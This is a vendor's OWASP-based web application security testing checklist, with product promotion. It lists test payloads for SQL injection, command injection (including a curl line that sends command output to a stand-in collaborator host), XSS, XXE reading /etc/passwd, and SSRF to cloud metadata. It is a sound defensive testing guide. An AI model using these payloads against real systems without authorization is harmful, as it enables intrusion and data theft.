Web Application Security Testing Checklist 2026 (OWASP-Based)

A web application security testing checklist ensures that every critical vulnerability class gets tested systematically — not just the ones that surface in an automated scan. This checklist is organized by attack surface, maps each test to OWASP Top 10 (2021), and specifies whether each test is best handled by automated SAST, DAST, or manual testing.

Use this checklist for: pre-launch security reviews, regular penetration testing cycles, CI/CD security gates, and compliance preparation (SOC 2, PCI-DSS, ISO 27001, HIPAA).

---

How to Use This Checklist

Before you start:

1. Define scope: which endpoints, subdomains, and user roles are in scope
2. Obtain written authorization — never test against applications you don’t own or have explicit permission to test
3. Set up your testing environment: Burp Suite (or OWASP ZAP), a browser with developer tools, and SAST tooling if source code is available

Testing approach:

• SAST — run against source code in CI/CD; best for injection flaws, hardcoded secrets, and code-level vulnerabilities
• DAST — run against the running application; best for authentication, session management, headers, and runtime behavior
• Manual — required for business logic, complex authorization, and vulnerability chaining

---

1. Authentication Testing

Authentication vulnerabilities fall under OWASP A07:2021 — Identification and Authentication Failures.

1.1 Login Endpoint

• Brute force protection — submit 10+ failed login attempts; confirm rate limiting, account lockout, or CAPTCHA activates
• Username enumeration — confirm the error message is identical for “wrong username” and “wrong password” (timing and response content)
• Default credentials — test admin/admin, admin/password, root/root on admin panels and internal tools
• SQL injection in login — test ' OR '1'='1 and ' OR 1=1-- in username and password fields
• Password policy enforcement — confirm weak passwords (123456, password) are rejected at registration

1.2 Session Management

• Session token entropy — inspect session tokens for predictability (sequential IDs, short tokens, base64-encoded user IDs)
• Session fixation — does the session token change after login?
• Logout invalidation — after logout, does the old session token still work when replayed?
• Session token in URL — confirm tokens are never passed via URL parameters (visible in logs and referrer headers)
• Concurrent sessions — does the application enforce session limits for sensitive roles?
• Cookie flags — confirm HttpOnly, Secure, and SameSite=Strict or SameSite=Lax on session cookies

1.3 Multi-Factor Authentication

• MFA bypass — can you access authenticated endpoints directly after completing password step but before MFA?
• MFA brute force — is TOTP/OTP code brute-forcing rate-limited?
• MFA enforcement — is MFA required for privileged roles, not just offered?

---

2. Authorization Testing

Authorization failures are the #1 OWASP category: A01:2021 — Broken Access Control.

2.1 Insecure Direct Object Reference (IDOR)

• Horizontal privilege escalation — log in as User A and access User B’s resources by changing the resource ID in the URL or request body (e.g., /api/users/123/profile → /api/users/124/profile)
• Vertical privilege escalation — access admin-only endpoints as a regular user
• Predictable IDs — check whether resource IDs are sequential integers (easily enumerable) or UUIDs (harder to enumerate)
• HTTP method escalation — does changing GET to PUT or DELETE on a resource bypass authorization checks?

2.2 Function-Level Access Control

• Unauthenticated API access — remove session cookies/tokens from requests and re-send to verify 401/403 responses
• Administrative functions — test admin panel endpoints (e.g., /admin, /api/admin/) without admin credentials
• Role-based access — confirm each user role can only access endpoints appropriate for that role

2.3 Mass Assignment

• Parameter tampering — add extra fields to POST/PUT request bodies ("role":"admin", "isAdmin":true, "price":0.01) and check whether they’re accepted by the server
• GraphQL over-fetching — query fields that shouldn’t be accessible for your current role

---

3. Injection Testing

Injection vulnerabilities are OWASP A03:2021.

3.1 SQL Injection

• Error-based SQLi — inject ', ", ;-- into all input fields, URL parameters, and JSON body fields; look for database error messages in the response
• Boolean-based blind SQLi — inject ' AND '1'='1 vs ' AND '1'='2 and check for behavioral differences in the response
• Time-based blind SQLi — inject '; WAITFOR DELAY '0:0:5'-- (SQL Server) or '; SELECT SLEEP(5)-- (MySQL) and check for delayed response
• Second-order SQLi — store a payload (admin'--) in a registration or profile field, then trigger downstream functions (password change, profile update) that might use the stored value in a new query
• ORM raw queries — search source code for FromSqlRaw(), executeQuery(), .raw(), cursor.execute() calls with string interpolation

SAST test: Verify SAST scanner flags SQL construction with string concatenation in all code paths, including those where data originates from the database.

3.2 Command Injection

• Shell metacharacters — inject ; id, && whoami, | cat /etc/passwd into fields that trigger server-side processing (image conversion, DNS lookup, file processing)
• Blind command injection — inject ; sleep 5 and check for delayed response; use ; curl http://your-collaborator.com/$(id) for out-of-band confirmation

3.3 Cross-Site Scripting (XSS)

• Reflected XSS — inject <script>alert(1)</script> and "><img src=x onerror=alert(1)> into all input fields, URL parameters, and headers that appear in the response
• Stored XSS — inject payloads into persistent fields (comments, profile names, addresses) and check all pages where the stored value is rendered
• DOM-based XSS — inspect JavaScript for dangerous sinks (innerHTML, document.write, eval, location.href) that receive URL fragment data or postMessage input
• CSP bypass — check the Content-Security-Policy header; test whether inline scripts or eval() are permitted by the policy

3.4 XML / XXE Injection

• XXE — send crafted XML payloads to XML-accepting endpoints:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

• Blind XXE (out-of-band) — use SSRF-style callbacks to confirm XXE in endpoints that don’t reflect XML output

3.5 Server-Side Request Forgery (SSRF)

• URL parameters — inject internal IP addresses (http://169.254.169.254/latest/meta-data/, http://10.0.0.1/) into parameters that fetch external content (webhooks, image URLs, document imports)
• DNS rebinding — check whether SSRF protections validate the IP after DNS resolution (not just the hostname)
• Cloud metadata endpoint — test http://169.254.169.254/ (AWS), http://metadata.google.internal/ (GCP) for cloud environment enumeration

---

4. CORS Testing

CORS misconfigurations map to OWASP A05:2021 — Security Misconfiguration.

• Wildcard origin — confirm Access-Control-Allow-Origin: * is not set on authenticated endpoints
• Origin reflection — send Origin: https://evil.com in requests to sensitive endpoints; check whether the response reflects Access-Control-Allow-Origin: https://evil.com
• Null origin — send Origin: null and check whether Access-Control-Allow-Origin: null is returned with Access-Control-Allow-Credentials: true
• Wildcard + credentials — confirm Access-Control-Allow-Origin: * is never combined with Access-Control-Allow-Credentials: true
• Vary: Origin header — when a specific origin is reflected, confirm Vary: Origin is also set

Test with curl:

curl -si -H "Origin: https://evil.com" https://api.yourapp.com/user/profile \
  | grep -i "access-control"
# Expected: no Access-Control-Allow-Origin header for unauthorized origins

---

5. Security Headers

• Content-Security-Policy — inspect CSP; flag unsafe-inline, unsafe-eval, and overly permissive source lists (*)
• Strict-Transport-Security — confirm HSTS is present: Strict-Transport-Security: max-age=31536000; includeSubDomains
• X-Content-Type-Options — confirm nosniff is set
• X-Frame-Options — confirm DENY or SAMEORIGIN (or a frame-ancestors CSP directive)
• Referrer-Policy — confirm strict-origin-when-cross-origin or stricter
• Server header — confirm the Server: and X-Powered-By: headers don’t reveal software version
• Cache-Control — sensitive pages (profile, account, payment) should have Cache-Control: no-store

Quick header check:

curl -si https://yourapp.com | grep -iE "content-security|strict-transport|x-content-type|x-frame|referrer-policy|server:"

---

6. File Upload Testing

File upload vulnerabilities map to OWASP A04:2021 — Insecure Design and CWE-434.

• Extension bypass — upload shell.php, shell.aspx, shell.jsp with Content-Type: image/jpeg; check whether the file is accepted
• Double extension — upload shell.php.jpg; check whether the server serves and executes it as PHP
• Content-type spoofing — confirm the server validates file magic bytes, not just the Content-Type header
• Path traversal via filename — upload with filename ../../evil.php; check whether the server stores it outside the intended directory
• Web-accessible storage — can uploaded files be accessed via a direct URL? If so, can they be executed?
• File size limits — confirm oversized uploads are rejected (DoS prevention)

---

7. API-Specific Testing

APIs require specific tests beyond standard web testing. See OWASP API Security Top 10.

• Authentication on all endpoints — remove authentication tokens and test every endpoint; confirm 401/403 responses
• Rate limiting — confirm rate limits on authentication, password reset, and high-value API endpoints
• Excessive data exposure — compare API response fields to what the UI actually displays; flag unexposed but returned fields (password hashes, internal IDs, admin flags)
• HTTP method restrictions — test PUT, DELETE, PATCH on read-only endpoints; test whether unauthorized methods return 405 (Method Not Allowed) or silently succeed
• Mass assignment — submit extra fields in POST/PUT request bodies for object creation/update endpoints
• GraphQL introspection — run { __schema { types { name } } } in production; introspection should be disabled
• GraphQL depth/complexity limits — confirm deeply nested queries or queries with high field counts are rejected

---

8. Cryptography and Data Storage

• TLS version — confirm TLS 1.2 minimum, TLS 1.3 preferred; TLS 1.0/1.1 and SSLv3 disabled
• Cipher suites — use SSL Labs (ssllabs.com/ssltest) to check for weak ciphers (RC4, 3DES, NULL ciphers)
• Password storage — verify passwords are stored as bcrypt, scrypt, Argon2, or PBKDF2 hashes (not MD5, SHA1, or unsalted SHA256)
• Sensitive data in transit — inspect all API responses for sensitive data (SSNs, full card numbers, passwords) being transmitted that shouldn’t be
• Sensitive data in local storage — check browser developer tools; confirm tokens, PII, and sensitive state are not stored in localStorage (use sessionStorage or cookies with HttpOnly)

---

9. Business Logic Testing

Business logic vulnerabilities require manual testing — automated scanners cannot model application-specific rules.

• Price manipulation — modify item price, quantity, or discount parameters in checkout flows
• Workflow bypass — access step 3 of a multi-step flow directly without completing steps 1 and 2
• Negative values — submit negative quantities, prices, or transfer amounts where only positive values should be accepted
• Race conditions — send simultaneous requests to limited-use actions (discount redemption, balance transfer, prize claims) using Burp Suite’s “Send to Intruder” with parallel threading
• Coupon/voucher reuse — attempt to reuse single-use discount codes or promotional credits
• Account takeover via password reset — test the password reset flow for token predictability, token reuse, and response enumeration

---

10. Infrastructure and Configuration

• Directory listing — test common paths (/, /uploads/, /backup/, /admin/) for directory listing
• Error page information disclosure — trigger 404 and 500 errors; confirm responses don’t reveal stack traces, server software, or internal paths
• Debug mode — check for exposed debug endpoints (/debug, /trace, /actuator, /_debug) in development or staging
• Exposed admin interfaces — test whether admin panels are accessible from the internet (should be restricted by IP or VPN)
• Sensitive file exposure — test for .git/, .env, web.config, phpinfo.php, backup.zip, robots.txt (review for sensitive paths), sitemap.xml
• Open redirect — inject ?redirect=https://evil.com into redirect parameters; confirm the application validates redirect targets against an allowlist
• Clickjacking — load the application in an iframe from a different origin; confirm X-Frame-Options or CSP frame-ancestors blocks this

---

Automate What You Can

Many checklist items can be automated:

Coverage Area	Best Automated Approach
Injection flaws (SQLi, XSS, CMDi)	SAST (code analysis) + DAST (active scanning)
Hardcoded secrets	SAST with secret detection rules
Security headers	DAST header check
Vulnerable dependencies	SCA (Dependabot, Snyk, or Offensive360 SCA)
Authentication weaknesses	DAST with authenticated scanning
CORS misconfigurations	DAST with origin-injection testing
Business logic flaws	Manual testing only

Offensive360 SAST covers injection, hardcoded credentials, weak cryptography, and insecure code patterns across 60+ languages. Offensive360 DAST covers authentication, headers, CORS, XSS, and injection in the running application. Business logic and complex authorization require manual testing regardless of tooling.

---

Quick-Start: Running Your First Test

For teams new to web application security testing:

1. Start with headers — run curl -si https://yourapp.com | grep -i content-security and check for missing or weak headers. This takes 5 minutes and often reveals immediate wins.

2. Run a DAST scan — point an authenticated DAST scanner at your staging environment. Offensive360’s one-time scan ($500) covers both static code analysis and dynamic testing.

3. Check your dependencies — run Dependabot or Snyk against your package manifest files. Most codebases have at least one library with a known CVE.

4. Test authentication manually — walk through the login, password reset, and logout flows yourself, confirming each checklist item above. These tests take under an hour and frequently surface IDOR, session fixation, or rate-limiting gaps.

5. Review CORS headers — use the curl command above to test your API from an unexpected origin. Reflected-origin CORS misconfigurations are one of the most common critical findings in web applications.

---

Offensive360 automates the majority of this checklist in a single platform — SAST for code-level vulnerabilities, DAST for runtime testing, and SCA for dependency scanning. Request a demo or run a one-time scan for $500 to see what your application actually contains.